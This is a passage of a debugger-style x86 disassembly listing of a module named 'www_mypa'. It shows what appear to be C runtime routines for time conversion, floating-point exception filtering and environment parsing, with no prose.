SHORT www_mypa.00405F7E 00405F5E 3BCA CMP ECX,EDX 00405F60 7E 21 JLE SHORT www_mypa.00405F83 00405F62 3BC8 CMP ECX,EAX 00405F64 7D 1D JGE SHORT www_mypa.00405F83 00405F66 B8 01000000 MOV EAX,1 00405F6B 5F POP EDI 00405F6C 5E POP ESI 00405F6D C3 RETN 00405F6E 3BC8 CMP ECX,EAX 00405F70 7C 5F JL SHORT www_mypa.00405FD1 00405F72 3BCA CMP ECX,EDX 00405F74 7F 5B JG SHORT www_mypa.00405FD1 00405F76 3BC8 CMP ECX,EAX 00405F78 7E 09 JLE SHORT www_mypa.00405F83 00405F7A 3BCA CMP ECX,EDX 00405F7C 7D 05 JGE SHORT www_mypa.00405F83 00405F7E 33C0 XOR EAX,EAX 00405F80 5F POP EDI 00405F81 5E POP ESI 00405F82 C3 RETN 00405F83 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8] 00405F86 8B7E 04 MOV EDI,DWORD PTR DS:[ESI+4] 00405F89 8B36 MOV ESI,DWORD PTR DS:[ESI] 00405F8B 8D0440 LEA EAX,DWORD PTR DS:[EAX+EAX*2] 00405F8E 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 00405F91 8D0487 LEA EAX,DWORD PTR DS:[EDI+EAX*4] 00405F94 8D0440 LEA EAX,DWORD PTR DS:[EAX+EAX*2] 00405F97 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 00405F9A 8D0486 LEA EAX,DWORD PTR DS:[ESI+EAX*4] 00405F9D 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 00405FA0 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 00405FA3 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 00405FA6 C1E0 03 SHL EAX,3 00405FA9 3BCA CMP ECX,EDX 00405FAB 75 12 JNZ SHORT www_mypa.00405FBF 00405FAD 8B15 A0EC4000 MOV EDX,DWORD PTR DS:[40ECA0] 00405FB3 33C9 XOR ECX,ECX 00405FB5 3BC2 CMP EAX,EDX 00405FB7 0F9DC1 SETGE CL 00405FBA 8BC1 MOV EAX,ECX 00405FBC 5F POP EDI 00405FBD 5E POP ESI 00405FBE C3 RETN 00405FBF 8B0D B0EC4000 MOV ECX,DWORD PTR DS:[40ECB0] 00405FC5 33D2 XOR EDX,EDX 00405FC7 3BC1 CMP EAX,ECX 00405FC9 0F9CC2 SETL DL 00405FCC 8BC2 MOV EAX,EDX 00405FCE 5F POP EDI 00405FCF 5E POP ESI 00405FD0 C3 RETN 00405FD1 5F POP EDI 00405FD2 B8 01000000 MOV EAX,1 00405FD7 5E POP ESI 00405FD8 C3 RETN 00405FD9 90 NOP 00405FDA 90 NOP 00405FDB 90 NOP 00405FDC 90 NOP 00405FDD 90 NOP 00405FDE 90 NOP 00405FDF 90 NOP 00405FE0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 00405FE4 53 PUSH EBX 00405FE5 8B5C24 10 MOV EBX,DWORD PTR SS:[ESP+10] 00405FE9 55 PUSH EBP 00405FEA 56 PUSH ESI 00405FEB 83F8 01 CMP EAX,1 00405FEE 57 PUSH EDI 00405FEF 0F85 A0000000 JNZ www_mypa.00406095 00405FF5 8BC3 MOV EAX,EBX 00405FF7 83E0 03 AND EAX,3 00405FFA 894424 1C MOV DWORD PTR SS:[ESP+1C],EAX 00405FFE 75 13 JNZ SHORT www_mypa.00406013 00406000 8B4424 20 MOV EAX,DWORD PTR SS:[ESP+20] 00406004 8D3C85 00000000 LEA EDI,DWORD PTR DS:[EAX*4] 0040600B 8B87 ECF44000 MOV EAX,DWORD PTR DS:[EDI+40F4EC] 00406011 EB 11 JMP SHORT www_mypa.00406024 00406013 8B4C24 20 MOV ECX,DWORD PTR SS:[ESP+20] 00406017 8D3C8D 00000000 LEA EDI,DWORD PTR DS:[ECX*4] 0040601E 8B87 24F54000 MOV EAX,DWORD PTR DS:[EDI+40F524] 00406024 8D14DB LEA EDX,DWORD PTR DS:[EBX+EBX*8] 00406027 8D48 01 LEA ECX,DWORD PTR DS:[EAX+1] 0040602A 8D73 FF LEA ESI,DWORD PTR DS:[EBX-1] 0040602D 8D04D3 LEA EAX,DWORD PTR DS:[EBX+EDX*8] 00406030 8BD0 MOV EDX,EAX 00406032 03D1 ADD EDX,ECX 00406034 C1FE 02 SAR ESI,2 00406037 8D0482 LEA EAX,DWORD PTR DS:[EDX+EAX*4] 0040603A 8D8406 259CFFFF LEA EAX,DWORD PTR DS:[ESI+EAX+FFFF9C25] 00406041 BE 07000000 MOV ESI,7 00406046 99 CDQ 00406047 F7FE IDIV ESI 00406049 8B7424 28 MOV ESI,DWORD PTR SS:[ESP+28] 0040604D 8B4424 24 MOV EAX,DWORD PTR SS:[ESP+24] 00406051 8BE8 MOV EBP,EAX 00406053 3BD6 CMP EDX,ESI 00406055 7D 0F JGE SHORT www_mypa.00406066 00406057 C1E5 03 SHL EBP,3 0040605A 2BE8 SUB EBP,EAX 0040605C 2BEA SUB EBP,EDX 0040605E 03EE ADD EBP,ESI 00406060 8D4C29 F9 LEA ECX,DWORD PTR DS:[ECX+EBP-7] 00406064 EB 0B JMP SHORT www_mypa.00406071 00406066 C1E5 03 SHL EBP,3 00406069 2BE8 SUB EBP,EAX 0040606B 2BEA SUB EBP,EDX 0040606D 03EE ADD EBP,ESI 0040606F 03CD ADD ECX,EBP 00406071 83F8 05 CMP EAX,5 00406074 75 40 JNZ SHORT www_mypa.004060B6 00406076 8B4424 1C MOV EAX,DWORD PTR SS:[ESP+1C] 0040607A 85C0 TEST EAX,EAX 0040607C 75 08 JNZ SHORT www_mypa.00406086 0040607E 8BBF F0F44000 MOV EDI,DWORD PTR DS:[EDI+40F4F0] 00406084 EB 06 JMP SHORT www_mypa.0040608C 00406086 8BBF 28F54000 MOV EDI,DWORD PTR DS:[EDI+40F528] 0040608C 3BCF CMP ECX,EDI 0040608E 7E 26 JLE SHORT www_mypa.004060B6 00406090 83E9 07 SUB ECX,7 00406093 EB 21 JMP SHORT www_mypa.004060B6 00406095 F6C3 03 TEST BL,3 00406098 75 0D JNZ SHORT www_mypa.004060A7 0040609A 8B4C24 20 MOV ECX,DWORD PTR SS:[ESP+20] 0040609E 8B0C8D ECF44000 MOV ECX,DWORD PTR DS:[ECX*4+40F4EC] 004060A5 EB 0B JMP SHORT www_mypa.004060B2 004060A7 8B5424 20 MOV EDX,DWORD PTR SS:[ESP+20] 004060AB 8B0C95 24F54000 MOV ECX,DWORD PTR DS:[EDX*4+40F524] 004060B2 034C24 2C ADD ECX,DWORD PTR SS:[ESP+2C] 004060B6 837C24 14 01 CMP DWORD PTR SS:[ESP+14],1 004060BB 75 47 JNZ SHORT www_mypa.00406104 004060BD 8B4424 30 MOV EAX,DWORD PTR SS:[ESP+30] 004060C1 8B5424 34 MOV EDX,DWORD PTR SS:[ESP+34] 004060C5 890D 9CEC4000 MOV DWORD PTR DS:[40EC9C],ECX 004060CB 8BC8 MOV ECX,EAX 004060CD C1E1 04 SHL ECX,4 004060D0 2BC8 SUB ECX,EAX 004060D2 891D 98EC4000 MOV DWORD PTR DS:[40EC98],EBX 004060D8 8D048A LEA EAX,DWORD PTR DS:[EDX+ECX*4] 004060DB 8B5424 38 MOV EDX,DWORD PTR SS:[ESP+38] 004060DF 8BC8 MOV ECX,EAX 004060E1 C1E1 04 SHL ECX,4 004060E4 2BC8 SUB ECX,EAX 004060E6 8D048A LEA EAX,DWORD PTR DS:[EDX+ECX*4] 004060E9 8B4C24 3C MOV ECX,DWORD PTR SS:[ESP+3C] 004060ED 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 004060F0 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 004060F3 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 004060F6 8D14C1 LEA EDX,DWORD PTR DS:[ECX+EAX*8] 004060F9 8915 A0EC4000 MOV DWORD PTR DS:[40ECA0],EDX 004060FF 5F POP EDI 00406100 5E POP ESI 00406101 5D POP EBP 00406102 5B POP EBX 00406103 C3 RETN 00406104 8B4424 30 MOV EAX,DWORD PTR SS:[ESP+30] 00406108 8B5424 34 MOV EDX,DWORD PTR SS:[ESP+34] 0040610C 890D ACEC4000 MOV DWORD PTR DS:[40ECAC],ECX 00406112 8BC8 MOV ECX,EAX 00406114 C1E1 04 SHL ECX,4 00406117 2BC8 SUB ECX,EAX 00406119 8D048A LEA EAX,DWORD PTR DS:[EDX+ECX*4] 0040611C 8B5424 38 MOV EDX,DWORD PTR SS:[ESP+38] 00406120 8BC8 MOV ECX,EAX 00406122 C1E1 04 SHL ECX,4 00406125 2BC8 SUB ECX,EAX 00406127 8D048A LEA EAX,DWORD PTR DS:[EDX+ECX*4] 0040612A 8B15 08EC4000 MOV EDX,DWORD PTR DS:[40EC08] 00406130 03C2 ADD EAX,EDX 00406132 8B4C24 3C MOV ECX,DWORD PTR SS:[ESP+3C] 00406136 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 00406139 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 0040613C 8D0480 LEA EAX,DWORD PTR DS:[EAX+EAX*4] 0040613F 8D04C1 LEA EAX,DWORD PTR DS:[ECX+EAX*8] 00406142 85C0 TEST EAX,EAX 00406144 A3 B0EC4000 MOV DWORD PTR DS:[40ECB0],EAX 00406149 7D 15 JGE SHORT www_mypa.00406160 0040614B 05 FF5B2605 ADD EAX,5265BFF 00406150 891D A8EC4000 MOV DWORD PTR DS:[40ECA8],EBX 00406156 A3 B0EC4000 MOV DWORD PTR DS:[40ECB0],EAX 0040615B 5F POP EDI 0040615C 5E POP ESI 0040615D 5D POP EBP 0040615E 5B POP EBX 0040615F C3 RETN 00406160 3D 005C2605 CMP EAX,5265C00 00406165 7C 0A JL SHORT www_mypa.00406171 00406167 2D FF5B2605 SUB EAX,5265BFF 0040616C A3 B0EC4000 MOV DWORD PTR DS:[40ECB0],EAX 00406171 5F POP EDI 00406172 5E POP ESI 00406173 891D A8EC4000 MOV DWORD PTR DS:[40ECA8],EBX 00406179 5D POP EBP 0040617A 5B POP EBX 0040617B C3 RETN 0040617C 90 NOP 0040617D 90 NOP 0040617E 90 NOP 0040617F 90 NOP 00406180 53 PUSH EBX 00406181 8B5C24 08 MOV EBX,DWORD PTR SS:[ESP+8] 00406185 56 PUSH ESI 00406186 33F6 XOR ESI,ESI 00406188 8B0B MOV ECX,DWORD PTR DS:[EBX] 0040618A 85C9 TEST ECX,ECX 0040618C 7D 05 JGE SHORT www_mypa.00406193 0040618E 33C0 XOR EAX,EAX 00406190 5E POP ESI 00406191 5B POP EBX 00406192 C3 RETN 00406193 B8 792D0311 MOV EAX,11032D79 00406198 57 PUSH EDI 00406199 F7E9 IMUL ECX 0040619B C1FA 17 SAR EDX,17 0040619E 8BC2 MOV EAX,EDX 004061A0 55 PUSH EBP 004061A1 C1E8 1F SHR EAX,1F 004061A4 03D0 ADD EDX,EAX 004061A6 8BC2 MOV EAX,EDX 004061A8 69C0 80E079F8 IMUL EAX,EAX,F879E080 004061AE 03C8 ADD ECX,EAX 004061B0 8D0495 46000000 LEA EAX,DWORD PTR DS:[EDX*4+46] 004061B7 81F9 8033E101 CMP ECX,1E13380 004061BD 7C 2C JL SHORT www_mypa.004061EB 004061BF 81E9 8033E101 SUB ECX,1E13380 004061C5 40 INC EAX 004061C6 81F9 8033E101 CMP ECX,1E13380 004061CC 7C 1D JL SHORT www_mypa.004061EB 004061CE 81E9 8033E101 SUB ECX,1E13380 004061D4 40 INC EAX 004061D5 81F9 0085E201 CMP ECX,1E28500 004061DB 7C 09 JL SHORT www_mypa.004061E6 004061DD 40 INC EAX 004061DE 81E9 0085E201 SUB ECX,1E28500 004061E4 EB 05 JMP SHORT www_mypa.004061EB 004061E6 BE 01000000 MOV ESI,1 004061EB A3 24084100 MOV DWORD PTR DS:[410824],EAX 004061F0 B8 07452EC2 MOV EAX,C22E4507 004061F5 F7E9 IMUL ECX 004061F7 8BC2 MOV EAX,EDX 004061F9 BF F0F44000 MOV EDI,www_mypa.0040F4F0 004061FE 03C1 ADD EAX,ECX 00406200 C1F8 10 SAR EAX,10 00406203 8BD0 MOV EDX,EAX 00406205 C1EA 1F SHR EDX,1F 00406208 03C2 ADD EAX,EDX 0040620A 8BD0 MOV EDX,EAX 0040620C A3 2C084100 MOV DWORD PTR DS:[41082C],EAX 00406211 C1E2 04 SHL EDX,4 00406214 2BD0 SUB EDX,EAX 00406216 F7DA NEG EDX 00406218 8D1492 LEA EDX,DWORD PTR DS:[EDX+EDX*4] 0040621B 8D14D2 LEA EDX,DWORD PTR DS:[EDX+EDX*8] 0040621E C1E2 07 SHL EDX,7 00406221 03CA ADD ECX,EDX 00406223 85F6 TEST ESI,ESI 00406225 75 05 JNZ SHORT www_mypa.0040622C 00406227 BF 28F54000 MOV EDI,www_mypa.0040F528 0040622C 8B6F 04 MOV EBP,DWORD PTR DS:[EDI+4] 0040622F 8D77 04 LEA ESI,DWORD PTR DS:[EDI+4] 00406232 3BE8 CMP EBP,EAX 00406234 BA 01000000 MOV EDX,1 00406239 7D 0B JGE SHORT www_mypa.00406246 0040623B 8B6E 04 MOV EBP,DWORD PTR DS:[ESI+4] 0040623E 83C6 04 ADD ESI,4 00406241 42 INC EDX 00406242 3BE8 CMP EBP,EAX 00406244 ^7C F5 JL SHORT www_mypa.0040623B 00406246 8B6C97 FC MOV EBP,DWORD PTR DS:[EDI+EDX*4-4] 0040624A 4A DEC EDX 0040624B 2BC5 SUB EAX,EBP 0040624D 8915 20084100 MOV DWORD PTR DS:[410820],EDX 00406253 A3 1C084100 MOV DWORD PTR DS:[41081C],EAX 00406258 8B33 MOV ESI,DWORD PTR DS:[EBX] 0040625A B8 07452EC2 MOV EAX,C22E4507 0040625F 5D POP EBP 00406260 F7EE IMUL ESI 00406262 03D6 ADD EDX,ESI 00406264 BE 07000000 MOV ESI,7 00406269 C1FA 10 SAR EDX,10 0040626C 8BC2 MOV EAX,EDX 0040626E 5F POP EDI 0040626F C1E8 1F SHR EAX,1F 00406272 C705 30084100 00>MOV DWORD PTR DS:[410830],0 0040627C 8D4402 04 LEA EAX,DWORD PTR DS:[EDX+EAX+4] 00406280 99 CDQ 00406281 F7FE IDIV ESI 00406283 B8 C5B3A291 MOV EAX,91A2B3C5 00406288 5E POP ESI 00406289 5B POP EBX 0040628A 8915 28084100 MOV DWORD PTR DS:[410828],EDX 00406290 F7E9 IMUL ECX 00406292 03D1 ADD EDX,ECX 00406294 C1FA 0B SAR EDX,0B 00406297 8BC2 MOV EAX,EDX 00406299 C1E8 1F SHR EAX,1F 0040629C 03D0 ADD EDX,EAX 0040629E B8 89888888 MOV EAX,88888889 004062A3 8915 18084100 MOV DWORD PTR DS:[410818],EDX 004062A9 69D2 F0F1FFFF IMUL EDX,EDX,-0E10 004062AF 03CA ADD ECX,EDX 004062B1 F7E9 IMUL ECX 004062B3 03D1 ADD EDX,ECX 004062B5 C1FA 05 SAR EDX,5 004062B8 8BC2 MOV EAX,EDX 004062BA C1E8 1F SHR EAX,1F 004062BD 03D0 ADD EDX,EAX 004062BF 8915 14084100 MOV DWORD PTR DS:[410814],EDX 004062C5 8D0452 LEA EAX,DWORD PTR DS:[EDX+EDX*2] 004062C8 8D1480 LEA EDX,DWORD PTR DS:[EAX+EAX*4] 004062CB B8 10084100 MOV EAX,www_mypa.00410810 004062D0 C1E2 02 SHL EDX,2 004062D3 2BCA SUB ECX,EDX 004062D5 890D 10084100 MOV DWORD PTR DS:[410810],ECX 004062DB C3 RETN 004062DC 90 NOP 004062DD 90 NOP 004062DE 90 NOP 004062DF 90 NOP 004062E0 83EC 24 SUB ESP,24 004062E3 53 PUSH EBX 004062E4 8B5C24 2C MOV EBX,DWORD PTR SS:[ESP+2C] 004062E8 81EB 6C070000 SUB EBX,76C 004062EE 55 PUSH EBP 004062EF 56 PUSH ESI 004062F0 83FB 46 CMP EBX,46 004062F3 57 PUSH EDI 004062F4 0F8C BD000000 JL www_mypa.004063B7 004062FA 81FB 8A000000 CMP EBX,8A 00406300 0F8F B1000000 JG www_mypa.004063B7 00406306 8B7C24 3C MOV EDI,DWORD PTR SS:[ESP+3C] 0040630A 8B4C24 40 MOV ECX,DWORD PTR SS:[ESP+40] 0040630E 8B34BD 24F54000 MOV ESI,DWORD PTR DS:[EDI*4+40F524] 00406315 03F1 ADD ESI,ECX 00406317 F6C3 03 TEST BL,3 0040631A 75 06 JNZ SHORT www_mypa.00406322 0040631C 83FF 02 CMP EDI,2 0040631F 7E 01 JLE SHORT www_mypa.00406322 00406321 46 INC ESI 00406322 E8 79F7FFFF CALL www_mypa.00405AA0 00406327 8D04DB LEA EAX,DWORD PTR DS:[EBX+EBX*8] 0040632A 897424 2C MOV DWORD PTR SS:[ESP+2C],ESI 0040632E 895C24 24 MOV DWORD PTR SS:[ESP+24],EBX 00406332 8D0CC3 LEA ECX,DWORD PTR DS:[EBX+EAX*8] 00406335 8D43 FF LEA EAX,DWORD PTR DS:[EBX-1] 00406338 8BD1 MOV EDX,ECX 0040633A 03D6 ADD EDX,ESI 0040633C C1F8 02 SAR EAX,2 0040633F 8D0C8A LEA ECX,DWORD PTR DS:[EDX+ECX*4] 00406342 03C1 ADD EAX,ECX 00406344 8B4C24 44 MOV ECX,DWORD PTR SS:[ESP+44] 00406348 894C24 18 MOV DWORD PTR SS:[ESP+18],ECX 0040634C 8D1440 LEA EDX,DWORD PTR DS:[EAX+EAX*2] 0040634F 8D04D1 LEA EAX,DWORD PTR DS:[ECX+EDX*8] 00406352 8BD0 MOV EDX,EAX 00406354 C1E2 04 SHL EDX,4 00406357 2BD0 SUB EDX,EAX 00406359 8B4424 48 MOV EAX,DWORD PTR SS:[ESP+48] 0040635D 8D0490 LEA EAX,DWORD PTR DS:[EAX+EDX*4] 00406360 8BD0 MOV EDX,EAX 00406362 C1E2 04 SHL EDX,4 00406365 2BD0 SUB EDX,EAX 00406367 8B4424 4C MOV EAX,DWORD PTR SS:[ESP+4C] 0040636B 4F DEC EDI 0040636C 8D1490 LEA EDX,DWORD PTR DS:[EAX+EDX*4] 0040636F A1 00EC4000 MOV EAX,DWORD PTR DS:[40EC00] 00406374 897C24 20 MOV DWORD PTR SS:[ESP+20],EDI 00406378 8DAC02 8081557C LEA EBP,DWORD PTR DS:[EDX+EAX+7C558180] 0040637F 8B4424 50 MOV EAX,DWORD PTR SS:[ESP+50] 00406383 83F8 01 CMP EAX,1 00406386 74 1F JE SHORT www_mypa.004063A7 00406388 83F8 FF CMP EAX,-1 0040638B 75 20 JNZ SHORT www_mypa.004063AD 0040638D A1 04EC4000 MOV EAX,DWORD PTR DS:[40EC04] 00406392 85C0 TEST EAX,EAX 00406394 74 17 JE SHORT www_mypa.004063AD 00406396 8D4C24 10 LEA ECX,DWORD PTR SS:[ESP+10] 0040639A 51 PUSH ECX 0040639B E8 D0F9FFFF CALL www_mypa.00405D70 004063A0 83C4 04 ADD ESP,4 004063A3 85C0 TEST EAX,EAX 004063A5 74 06 JE SHORT www_mypa.004063AD 004063A7 032D 08EC4000 ADD EBP,DWORD PTR DS:[40EC08] 004063AD 8BC5 MOV EAX,EBP 004063AF 5F POP EDI 004063B0 5E POP ESI 004063B1 5D POP EBP 004063B2 5B POP EBX 004063B3 83C4 24 ADD ESP,24 004063B6 C3 RETN 004063B7 5F POP EDI 004063B8 5E POP ESI 004063B9 5D POP EBP 004063BA 83C8 FF OR EAX,FFFFFFFF 004063BD 5B POP EBX 004063BE 83C4 24 ADD ESP,24 004063C1 C3 RETN 004063C2 90 NOP 004063C3 90 NOP 004063C4 90 NOP 004063C5 90 NOP 004063C6 90 NOP 004063C7 90 NOP 004063C8 90 NOP 004063C9 90 NOP 004063CA 90 NOP 004063CB 90 NOP 004063CC 90 NOP 004063CD 90 NOP 004063CE 90 NOP 004063CF 90 NOP 004063D0 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4] 004063D4 8915 EC064100 MOV DWORD PTR DS:[4106EC],EDX 004063DA 33C9 XOR ECX,ECX 004063DC B8 B8EC4000 MOV EAX,www_mypa.0040ECB8 004063E1 3B10 CMP EDX,DWORD PTR DS:[EAX] 004063E3 74 45 JE SHORT www_mypa.0040642A 004063E5 83C0 08 ADD EAX,8 004063E8 41 INC ECX 004063E9 3D 20EE4000 CMP EAX,www_mypa.0040EE20 004063EE ^72 F1 JB SHORT www_mypa.004063E1 004063F0 83FA 13 CMP EDX,13 004063F3 72 10 JB SHORT www_mypa.00406405 004063F5 83FA 24 CMP EDX,24 004063F8 77 0B JA SHORT www_mypa.00406405 004063FA C705 E8064100 0D>MOV DWORD PTR DS:[4106E8],0D 00406404 C3 RETN 00406405 81FA BC000000 CMP EDX,0BC 0040640B 72 12 JB SHORT www_mypa.0040641F 0040640D 81FA CA000000 CMP EDX,0CA 00406413 C705 E8064100 08>MOV DWORD PTR DS:[4106E8],8 0040641D 76 0A JBE SHORT www_mypa.00406429 0040641F C705 E8064100 16>MOV DWORD PTR DS:[4106E8],16 00406429 C3 RETN 0040642A 8B04CD BCEC4000 MOV EAX,DWORD PTR DS:[ECX*8+40ECBC] 00406431 A3 E8064100 MOV DWORD PTR DS:[4106E8],EAX 00406436 C3 RETN 00406437 90 NOP 00406438 90 NOP 00406439 90 NOP 0040643A 90 NOP 0040643B 90 NOP 0040643C 90 NOP 0040643D 90 NOP 0040643E 90 NOP 0040643F 90 NOP 00406440 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00406444 53 PUSH EBX 00406445 55 PUSH EBP 00406446 56 PUSH ESI 00406447 50 PUSH EAX 00406448 E8 33010000 CALL www_mypa.00406580 0040644D 83C4 04 ADD ESP,4 00406450 85C0 TEST EAX,EAX 00406452 0F84 17010000 JE www_mypa.0040656F 00406458 8B58 08 MOV EBX,DWORD PTR DS:[EAX+8] 0040645B 85DB TEST EBX,EBX 0040645D 0F84 0C010000 JE www_mypa.0040656F 00406463 83FB 05 CMP EBX,5 00406466 75 10 JNZ SHORT www_mypa.00406478 00406468 C740 08 00000000 MOV DWORD PTR DS:[EAX+8],0 0040646F B8 01000000 MOV EAX,1 00406474 5E POP ESI 00406475 5D POP EBP 00406476 5B POP EBX 00406477 C3 RETN 00406478 83FB 01 CMP EBX,1 0040647B 75 07 JNZ SHORT www_mypa.00406484 0040647D 83C8 FF OR EAX,FFFFFFFF 00406480 5E POP ESI 00406481 5D POP EBP 00406482 5B POP EBX 00406483 C3 RETN 00406484 8B4C24 14 MOV ECX,DWORD PTR SS:[ESP+14] 00406488 8B2D 34084100 MOV EBP,DWORD PTR DS:[410834] 0040648E 890D 34084100 MOV DWORD PTR DS:[410834],ECX 00406494 8B48 04 MOV ECX,DWORD PTR DS:[EAX+4] 00406497 83F9 08 CMP ECX,8 0040649A 0F85 B5000000 JNZ www_mypa.00406555 004064A0 8B35 98EE4000 MOV ESI,DWORD PTR DS:[40EE98] 004064A6 8B15 9CEE4000 MOV EDX,DWORD PTR DS:[40EE9C] 004064AC 03D6 ADD EDX,ESI 004064AE 3BF2 CMP ESI,EDX 004064B0 7D 18 JGE SHORT www_mypa.004064CA 004064B2 8D0C76 LEA ECX,DWORD PTR DS:[ESI+ESI*2] 004064B5 2BD6 SUB EDX,ESI 004064B7 8D0C8D 28EE4000 LEA ECX,DWORD PTR DS:[ECX*4+40EE28] 004064BE C701 00000000 MOV DWORD PTR DS:[ECX],0 004064C4 83C1 0C ADD ECX,0C 004064C7 4A DEC EDX 004064C8 ^75 F4 JNZ SHORT www_mypa.004064BE 004064CA 8B00 MOV EAX,DWORD PTR DS:[EAX] 004064CC 8B0D A4EE4000 MOV ECX,DWORD PTR DS:[40EEA4] 004064D2 3D 8E0000C0 CMP EAX,C000008E 004064D7 8BF1 MOV ESI,ECX 004064D9 75 07 JNZ SHORT www_mypa.004064E2 004064DB B9 83000000 MOV ECX,83 004064E0 EB 52 JMP SHORT www_mypa.00406534 004064E2 3D 900000C0 CMP EAX,C0000090 004064E7 75 07 JNZ SHORT www_mypa.004064F0 004064E9 B9 81000000 MOV ECX,81 004064EE EB 44 JMP SHORT www_mypa.00406534 004064F0 3D 910000C0 CMP EAX,C0000091 004064F5 75 07 JNZ SHORT www_mypa.004064FE 004064F7 B9 84000000 MOV ECX,84 004064FC EB 36 JMP SHORT www_mypa.00406534 004064FE 3D 930000C0 CMP EAX,C0000093 00406503 75 07 JNZ SHORT www_mypa.0040650C 00406505 B9 85000000 MOV ECX,85 0040650A EB 28 JMP SHORT www_mypa.00406534 0040650C 3D 8D0000C0 CMP EAX,C000008D 00406511 75 07 JNZ SHORT www_mypa.0040651A 00406513 B9 82000000 MOV ECX,82 00406518 EB 1A JMP SHORT www_mypa.00406534 0040651A 3D 8F0000C0 CMP EAX,C000008F 0040651F 75 07 JNZ SHORT www_mypa.00406528 00406521 B9 86000000 MOV ECX,86 00406526 EB 0C JMP SHORT www_mypa.00406534 00406528 3D 920000C0 CMP EAX,C0000092 0040652D 75 0B JNZ SHORT www_mypa.0040653A 0040652F B9 8A000000 MOV ECX,8A 00406534 890D A4EE4000 MOV DWORD PTR DS:[40EEA4],ECX 0040653A 51 PUSH ECX 0040653B 6A 08 PUSH 8 0040653D FFD3 CALL EBX 0040653F 83C4 08 ADD ESP,8 00406542 8935 A4EE4000 MOV DWORD PTR DS:[40EEA4],ESI 00406548 892D 34084100 MOV DWORD PTR DS:[410834],EBP 0040654E 83C8 FF OR EAX,FFFFFFFF 00406551 5E POP ESI 00406552 5D POP EBP 00406553 5B POP EBX 00406554 C3 RETN 00406555 51 PUSH ECX 00406556 C740 08 00000000 MOV DWORD PTR DS:[EAX+8],0 0040655D FFD3 CALL EBX 0040655F 83C4 04 ADD ESP,4 00406562 892D 34084100 MOV DWORD PTR DS:[410834],EBP 00406568 83C8 FF OR EAX,FFFFFFFF 0040656B 5E POP ESI 0040656C 5D POP EBP 0040656D 5B POP EBX 0040656E C3 RETN 0040656F 8B5424 14 MOV EDX,DWORD PTR SS:[ESP+14] 00406573 52 PUSH EDX 00406574 FF15 4C224100 CALL DWORD PTR DS:[41224C] ; kernel32.UnhandledExceptionFilter 0040657A 5E POP ESI 0040657B 5D POP EBP 0040657C 5B POP EBX 0040657D C3 RETN 0040657E 90 NOP 0040657F 90 NOP 00406580 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4] 00406584 8B0D 20EE4000 MOV ECX,DWORD PTR DS:[40EE20] 0040658A 56 PUSH ESI 0040658B 8B35 A0EE4000 MOV ESI,DWORD PTR DS:[40EEA0] 00406591 3BCA CMP ECX,EDX 00406593 B8 20EE4000 MOV EAX,www_mypa.0040EE20 00406598 74 15 JE SHORT www_mypa.004065AF 0040659A 8D0C76 LEA ECX,DWORD PTR DS:[ESI+ESI*2] 0040659D 8D0C8D 20EE4000 LEA ECX,DWORD PTR DS:[ECX*4+40EE20] 004065A4 83C0 0C ADD EAX,0C 004065A7 3BC1 CMP EAX,ECX 004065A9 73 04 JNB SHORT www_mypa.004065AF 004065AB 3910 CMP DWORD PTR DS:[EAX],EDX 004065AD ^75 F5 JNZ SHORT www_mypa.004065A4 004065AF 8D0C76 LEA ECX,DWORD PTR DS:[ESI+ESI*2] 004065B2 8D0C8D 20EE4000 LEA ECX,DWORD PTR DS:[ECX*4+40EE20] 004065B9 3BC1 CMP EAX,ECX 004065BB 73 04 JNB SHORT www_mypa.004065C1 004065BD 3910 CMP DWORD PTR DS:[EAX],EDX 004065BF 74 02 JE SHORT www_mypa.004065C3 004065C1 33C0 XOR EAX,EAX 004065C3 5E POP ESI 004065C4 C3 RETN 004065C5 90 NOP 004065C6 90 NOP 004065C7 90 NOP 004065C8 90 NOP 004065C9 90 NOP 004065CA 90 NOP 004065CB 90 NOP 004065CC 90 NOP 004065CD 90 NOP 004065CE 90 NOP 004065CF 90 NOP 004065D0 51 PUSH ECX 004065D1 8B15 34074100 MOV EDX,DWORD PTR DS:[410734] 004065D7 53 PUSH EBX 004065D8 55 PUSH EBP 004065D9 56 PUSH ESI 004065DA 8A02 MOV AL,BYTE PTR DS:[EDX] 004065DC 33F6 XOR ESI,ESI 004065DE 84C0 TEST AL,AL 004065E0 57 PUSH EDI 004065E1 74 1D JE SHORT www_mypa.00406600 004065E3 3C 3D CMP AL,3D 004065E5 74 01 JE SHORT www_mypa.004065E8 004065E7 46 INC ESI 004065E8 8BFA MOV EDI,EDX 004065EA 83C9 FF OR ECX,FFFFFFFF 004065ED 33C0 XOR EAX,EAX 004065EF F2:AE REPNE SCAS BYTE PTR ES:[EDI] 004065F1 F7D1 NOT ECX 004065F3 49 DEC ECX 004065F4 8A440A 01 MOV AL,BYTE PTR DS:[EDX+ECX+1] 004065F8 8D540A 01 LEA EDX,DWORD PTR DS:[EDX+ECX+1] 004065FC 84C0 TEST AL,AL 004065FE ^75 E3 JNZ SHORT www_mypa.004065E3 00406600 8D04B5 04000000 LEA EAX,DWORD PTR DS:[ESI*4+4] 00406607 50 PUSH EAX 00406608 E8 F3BFFFFF CALL www_mypa.00402600 0040660D 8BF0 MOV ESI,EAX 0040660F 83C4 04 ADD ESP,4 00406612 85F6 TEST ESI,ESI 00406614 897424 10 MOV DWORD PTR SS:[ESP+10],ESI 00406618 8935 10074100 MOV DWORD PTR DS:[410710],ESI 0040661E 75 0A JNZ SHORT www_mypa.0040662A 00406620 6A 09 PUSH 9 00406622 E8 59D0FFFF CALL www_mypa.00403680 00406627 83C4 04 ADD ESP,4 0040662A 8B2D 34074100 MOV EBP,DWORD PTR DS:[410734] 00406630 8A55 00 MOV DL,BYTE PTR SS:[EBP] 00406633 84D2 TEST DL,DL 00406635 74 63 